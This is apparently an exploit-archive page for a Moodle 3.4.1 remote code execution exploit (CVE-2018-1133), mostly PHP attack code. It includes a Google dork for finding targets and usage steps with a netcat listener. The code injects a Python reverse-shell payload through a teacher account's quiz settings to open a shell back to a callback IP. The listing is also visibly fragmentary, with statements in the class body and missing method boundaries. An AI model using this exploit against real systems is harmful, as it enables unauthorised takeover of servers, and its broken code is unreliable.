Exploits / Vulnerability Discovered : 2019-03-15 |
Type : webapps |
Platform : php
This exploit / vulnerability Moodle 3.4.1 remote code execution is for educational purposes only and if it is used you will do on your own risk!
[+] Code ...
<?php
/**
* Exploit Title: Moodle v3.4.1 RCE Exploit
* Google Dork: inurl:"/course/jumpto.php?jump="
* Date: 15 March 2019
* Exploit Author: Darryn Ten
* Vendor Homepage: https://moodle.org
* Software Link: https://github.com/moodle/moodle/archive/v3.4.1.zip
* Version: 3.4.1 (Possibly < 3.5.0 and maybe even 3.x)
* Tested on: Linux with Moodle v3.4.1
* CVE : CVE-2018-1133
*
* This exploit is based on information provided by Robin Peraglie.
* Additional Reading: https://blog.ripstech.com/2018/moodle-remote-code-execution
*
* A user with the teacher role is able to execute arbitrary code.
*
* Usage:
*
* > php MoodleExploit.php url=http://example.com user=teacher pass=password ip=10.10.10.10 port=1010 course=1
*
* user The account username
* pass The password to the account
* ip Callback IP
* port Callback Port
* course Valid course ID belonging to the teacher
*
* Make sure you're running a netcat listener on the specified port before
* executing this script.
*
* > nc -lnvp 1010
*
* This will attempt to open up a reverse shell to the listening IP and port.
*
* You can start the script with `debug=true` to enable debug mode.
*/
namespace exploit {
class moodle {
public $ip;
public $port;
public $courseId;
public $cookie_jar;
public $url;
public $pass;
public $payload;
public $quizId = false;
public $moodleSession = false;
public $moodleKey;
// Verification patterns
public $loginSuccessMatch = "/course.view\.php/";
public $courseSuccessMatch = "/.\/i.Edit.settings.\/a./";
public $editSuccessMatch = "/.view.php\?id=2¬ifyeditingon=1/";
public $quizSuccessMatch = "/.title.Editing.Quiz.\/title./";
public $quizConfigMatch = "/title.*xxxx.\/title./";
public $evilSuccess = "/The\ wild\ cards\ \<strong\>\{x..\}\<\/strong\>\ will\ be\ substituted/";
// Inject a reverse shell
// You could modify this payload to inject whatever you like
$this->payload = "(python+-c+'import+socket,subprocess,os%3bs%3dsocket.socket(socket.AF_INET,socket.SOCK_STREAM)%3bs.connect((\"".$this->ip."\",".$this->port."))%3bos.dup2(s.fileno(),0)%3b+os.dup2(s.fileno(),1)%3b+os.dup2(s.fileno(),2)%3bp%3dsubprocess.call([\"/bin/sh\",\"-i\"])%3b')";
echo("\n\r");
echo("*------------------------------*\n\r");
echo("* Noodle [Moodle RCE] (v3.4.1) *\n\r");
echo("*------------------------------*\n\r");
echo("\n\r");
echo("[!] Make sure you have a listener\n\r");
echo(sprintf("[!] at %s:%s\n\r", $this->ip, $this->port));
echo("\n\r");
if (!preg_match($this->loginSuccessMatch, $result["body"])) {
echo "[-] LOGIN FAILED!\n\r";
echo "[?] Do you have the right credentials and url?\n\r";
die();
}
function loadCourse($id) {
echo(sprintf("[*] Loading Course ID %s \n\r", $id));
$result = $this->httpGet(sprintf("/course/view.php?id=%s", $id), $this->moodleSession);
if (!preg_match($this->courseSuccessMatch, $result["body"])) {
echo "[-] LOADING COURSE FAILED!\n\r";
echo "[?] Does the course exist and belong to the teacher?\n\r";
die();
}
if (!preg_match($this->editSuccessMatch, $result["header"])) {
echo "[-] ENABLE EDITING FAILED!\n\r";
echo "[?] Does the user have the teacher role?\n\r";
die();
}
echo sprintf("[>] You should receive a reverse shell attempt from the target at %s on port %s \n\r", $this->ip, $this->port);
echo sprintf("[>] If connection was successful this program will wait here until you close the connection.\n\r");
echo sprintf("[>] You should be able to Ctrl+C and retain the connection through netcat.\n\r");
$this->httpGet($exploitUrl, $this->moodleSession);
}
function httpPost($url, $data, $session = false, $json = false)
{
if ($this->debug) {
echo(sprintf("[D] Doing HTTP POST to URL: %s \n\r", $url));
echo(sprintf("[D] Session: %s \n\r", $session));
echo(sprintf("[D] Data: %s \n\r", json_encode($data)));
echo("\n\r");
}